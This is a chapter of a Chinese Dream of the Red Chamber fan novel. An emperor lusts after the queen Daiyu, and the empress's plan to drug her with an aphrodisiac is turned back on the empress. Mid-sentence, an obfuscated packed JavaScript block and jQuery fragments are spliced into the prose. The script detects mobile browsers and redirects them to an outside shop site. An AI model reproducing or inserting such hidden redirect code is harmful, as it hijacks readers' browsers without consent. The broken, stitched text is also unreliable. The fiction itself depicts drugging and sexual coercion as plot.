139.吾皇黛玉第一百三十九回

作品:《[红楼]春绾晴黛

    宣隆帝追欢想旧爱,牛皇后献计思阴谋


    “敏敏,是你吗?”


    宣隆帝紧盯着眼前的女子,眸中闪动着灼人的光芒,仿佛要将她吞噬。


    黛玉沉下心来,偏头冲牛皇后一笑:“看来传言并非空穴来风,宣隆帝挚爱已故的元后,以至于对着虚花灯影,念念在齿的,依旧是孝敏皇后的徽号。”


    牛皇后做了十五年的皇后,连个徽号都没有。


    她脸上挂不住,唤了两声宣隆帝,可他仍是两眼呆直,牛皇后益发气闷了。


    “想必皇上正与元后梦寐神交,看来天子赐酒,小王无福领受了,就此告退。”


    黛玉按茜香国最高的礼仪,双手交叉放在胸前,向宣隆帝颔首、鞠躬,正欲转身退下。


    忽然左手被人大力攫住,身形一晃,震得满头珠翠闪灼颤动。


    宣隆帝满面戾气,将女王钳在身前,伸手捏起她的下巴,迫使她看向自己。


    气势之凶悍,动作之暧昧,以至于在场所有嘉宾使臣乃至皇子纷纷离席站起,翘首观望。


    宴会上歌罢舞止,所有人的目光都停在此处。


    太子禛钰清冷的眼中眸色骤寒,悄然攥紧了拳头。而苏清源藏在袖中的手,摁住了暗器的机括。


    黛玉心头一紧,看着霸道无礼的宣隆帝,呼吸都窘迫了几分。


    “你不是敏敏,你是她女儿。”宣隆帝回过神来,目光只有一瞬间的失落,旋即露出兴味更浓的审视,伸指在她下颌撩了一下,压低了嗓音,“做朕的女人,朕赦免你欺君之罪。”


    黛玉怒火中烧,竭力迫使自己冷静下来,眼睫一动,反粲齿笑起来,扬声道:“陛下吃了几杯酒,春兴发作,可依茜香国的习俗,想做女王裙下臣者,需是未婚青年,无妻无子。皇上,您失格了。”


    她声量不小,近处的牛皇后,乃至诸皇子都听到了。


    宣隆帝听了她一语双关的话,意识到自己失了体面,众目睽睽之下,只得将人放开。


    聊以自嘲地笑了笑:“玉颜桃红面,君王不自持。朕唐突女王了。”


    黛玉扬起脖子,轻哼了一声,掸了掸裙上的灰,转身下了丹墀。


    看似无礼的嫌弃,并没有让宣隆帝生恼,反而被她浅黛双弯,带怒含嗔的花容所惊艳,越发心痒难挠,迷离颠倒,喉头不停滑动。


    这孩子越发像贾敏了,不,她早就不是孩子了。


    莲房欺雪,纤腰如柳,似喜似嗔的样子,无不昭示着她是一个青春靓丽,生机勃勃的女人。


    她与贾敏血脉相连,容貌虽不甚相似,但她自信从容的风采,逸群出众的姿色,乃至眸光中炽盛的野心,无不表明,她是贾敏最佳的替代品。


    牛皇后冷眼看着垂涎失态的帝王,鄙夷嫉愤之余,怨念丛生。


    她本想靠辖制华光公主来激怒太子,让太子失控犯错忤逆嫡母,好为二皇子上位铺路。


    没曾想半路杀出个茜香国女王来,让她偷鸡不成蚀把米,颜面扫地。


    此时见太子的目光一瞬不瞬地锁在女王身上,牛皇后娥眉蹙起,计上心头。


    早听人说太子禛钰是女王的入幕之宾,二人在鸣鸾殿耳鬓厮磨,卿卿我我,不避耳目。


    偏偏此时宣隆帝又对这位女王起了渴求之念,不如她做个“贤后”满足圣意,逼太子怒发冲冠为红颜,兵谏造反。


    届时她只要坐山观虎斗,等父子相残,趁机让二皇子坐上储位,不,或许直接坐上龙椅也说不定。


    牛皇后思量好后,悄声对宣隆帝说:“臣妾听闻茜香国律法中并无一个‘奸’字,茜香国之妇女人尽可夫,并无为丈夫守贞之志。陛下想要与女王共赴巫峡,并非难事,臣妾愿意为陛下解忧效劳。”


    宣隆帝闻言眉头一扬,咬牙恨道:“就算朕召幸她三日五夕,她还是会走。手握权杖的女人,尝过了居重驭轻,政由己出的滋味,是不会甘心雌伏在帝王后宫的。”


    “只要陛下征服女王的场面观者如云,皇上再金口玉言,当众册封林思政为宫妃,另择其国宰相授印为茜香国女王。她就是想反抗,失了权柄的法统,也无能为力了。”牛皇后意味深长地说。


    “当众……是吗?”宣隆帝沉吟片刻,遐思遥想起来。


    万人睽睽之下,雄姿英发的帝王降服一个桀骜不羁的异域美人,让不盈一握的腰肢,白月抟光的雪峰,被人若隐若现的窥视,而后羡慕嫉恨,嗔目切齿。


    光想一想那场面,就让人又兴奋又刺激。色令智昏的皇帝已经忘乎所以地沉浸在幻想之中了。


    身着飞鱼服,手扶绣春刀的柳湘莲,站在宣隆帝身后,无视他濡湿的龙袍,依旧眼观鼻鼻观心。


    笙箫又起,鼓乐喧阗。


    女王与诸使臣周旋了片刻,酒污裙袍,借口更衣告罪离席。


    太子才收回锁定在女王身上的视线,安静地坐在席上,他面似平湖,不观歌舞,也不饮食,默然摩挲着指上刻着“林”字的金刚石尾戒。


    捻了一遍又一遍,一次比一次用力,无人窥见,他攥紧的指圈、指腹,已经渗出血来。


    公主下降的黄昏,宣隆帝宣召驸马章明到龙景殿,赏赐女婿玉带、革靴、尘笏、雕鞍,乃至红罗、金器、银钱不一而足。


    章驸马向宣隆帝谢恩后,用一对大雁、金锭、锦绮罗缯作为聘礼,亲自到华光公主的鸣鸾殿迎娶新娘。


    这时,华光公主头戴九翚四凤冠,身穿真红花钗大袖,帔霞在肩。


    她在驸马的牵引下,乘坐上四面披挂百子千孙绣帐的花车。


    太子禛钰手扶车绥,对妹妹说:“你怎么开心怎么过,谁惹你不开心,叫章明揍他。”


    “是。”章明肃容点头,亦如从前千百次俯首听令一样。


    在他扳鞍上马的时刻,眼角余光看到了站在茜香国女王身后的晴雯。


    她随着观礼的人潮载笑载言的模样,全然是瞧热闹的心态。


    章明在心中暗叹了一口气,回头瞥见花车中的公主微微鼓腮,面露不虞,不觉生愧。


    却听公主小声埋怨道:“哥哥在大庭广众之下,说那些不中听的做什么,谁敢给我气受呢!”


    可是当花车徐徐驶离宫阙的时候,华光公主还是忍不住回头,望向兄长的方向,泪流满面。


    三檐伞盖下,骑乘在骏马雕鞍上的章明,向公主递来一方手帕。


    公主心头一暖,痴痴地看向俊美的驸马,夙愿得偿的情愫,在这一刻有了安心着落的实感。


    迎亲的队伍随着吹吹打打的喜乐,逶迤出了朱雀门,沿途观礼的王公使臣赞叹不已。


    随着嘉乐的奏演,重华宫中庭燎燃起,男女分席,喜宴开筵。


    不但佳肴千盏,连杂耍百戏、昆腔秦歌都有,据说戊时在重华宫外,还有海西国的幻术可观赏,实在不虚此行。


    男宾席上,陛下与太子双双缺席,几个皇子对着戏台上,姿容绰约的优伶评头论足,最后得出的结论是:比起茜香国那位尽态极妍雌雄莫辨的“苏美人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445201|127102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”来,这几个名闻天下的美优伶,竟是拾鞋也不配。


    二皇子禛铄面露七分醉态,说了一些关于苏美人不堪入耳的污言亵语,引得一群男人窃窃发笑起来。


    岂料,不知从哪儿飞来一把鱼骨,只把二皇子的脸扎成了刺猬,引发了一阵骚乱。


    而女宾席上,只有茜香国女王及几位使臣眷属,牛皇后亲自执壶给大家斟酒。


    黛玉前夜得了禛钰的提点,要堤防牛皇后作祟,她的酒万万喝不得,便先行装醉,在牛皇后向她敬酒的时候,摇摇晃晃地倒向晴雯。


    晴雯忙搂着女王道:“皇后娘娘实在抱歉,女王不胜酒力,需要离席歇息,望娘娘原宥。”


    “哎,这都怪本宫招待不周了。”牛皇后自责了一句,吩咐宫女道:“将女王送去翡翠阁休息,煮一碗醒酒汤,好生服侍着。”


    心里想的是:面情塞责都不愿,想就此逃过一劫,也太小看本宫的手段了。别说这阴阳壶里有乾坤,便是醒酒汤里也加了‘万声娇’,只要皇上去了翡翠阁,便是天雷勾地火,待到太子前来观瞻,那才是好戏开演呢。


    晴雯听到皇后的心声,悄悄在黛玉掌心写了一个“壶”字并一个“汤”字。


    黛玉会意,眼眸半睁半闭,摆出醉眼惺忪的姿态,一把夺过皇后手里的酒壶,断断续续地说:“喝,本王还要喝……”


    而后佯装失手,将酒壶给摔碎了。


    皇后也不以为意,仍旧笑得和蔼可亲。


    “皇后娘娘,我要你陪我喝……”黛玉索性两手挂在她脖子上。


    宫女上来想要将女王拉开,黛玉却撕扯着牛皇后的衣襟不放,眼见皇后仪容不保,众人也不好生拉硬拽。


    牛皇后忍住脾气,摆出宽容大度的姿态,哄她道:“好,到了翡翠阁,本宫陪女王一醉方休。”


    黛玉将牛皇后拐进了翡翠阁,仍是痴言傻笑,缠着牛皇后不放。


    等到醒酒汤端上案来,牛皇后向两个宫女使眼色,要她俩给女王强灌下去。


    在她们出手的一瞬间,翡翠阁中的灯灭了,晴雯先将宫女用银针扎倒,对皇后冷笑道:“看来两位姐姐也醉得不清,还需要多两碗醒酒汤呢。”


    牛皇后顿感不妙,正待扬声呼救,一个冷硬的东西抵在了自己喉间,硝石的味道钻进了鼻腔,令她心头猛跳。


    是火铳!


    她为了给宣隆帝行方便,这翡翠阁可是一个护卫、宫女也没留,却没想到自己反被女王给辖制住了。


    “你竟敢、谋杀皇后!”牛皇后吓得说话咬舌。


    “岂敢、岂敢!”黛玉冷笑一声,捏住牛皇后的嘴,将案上的醒酒汤悉数灌了进去。


    “中宫无宠,寂寞难耐,不得已投剂乖方,艳邀陛下,以至幻术表演时翡翠阁春事迷人。这不,理由我都替您想好了。”


    牛皇后被呛着了,剧烈地咳嗽了起来,只觉浑身发热,肌肤奇痒,搁不住绸缎之磨,裙下浑湿,眉眼愈加饧涩,恨不能立时宽衣解带……


    黛玉见皇后已不能自持,便将追诛收回,撕下她胸前的衣襟,一半破布塞进她嘴里,一半破布将她的双手系在床柱上。


    转身拉开窗帘,此时内外漆黑一片,什么也看不见。


    而晴雯将两个晕倒的宫女,给拖到了外面的花丛中。


    忙完这些,二人不约而同地拍了拍手上的灰,并肩走出翡翠阁。


    此时的牛皇后已然失去了理智,既后悔不迭又强烈渴盼,只要皇上来,她就得救了。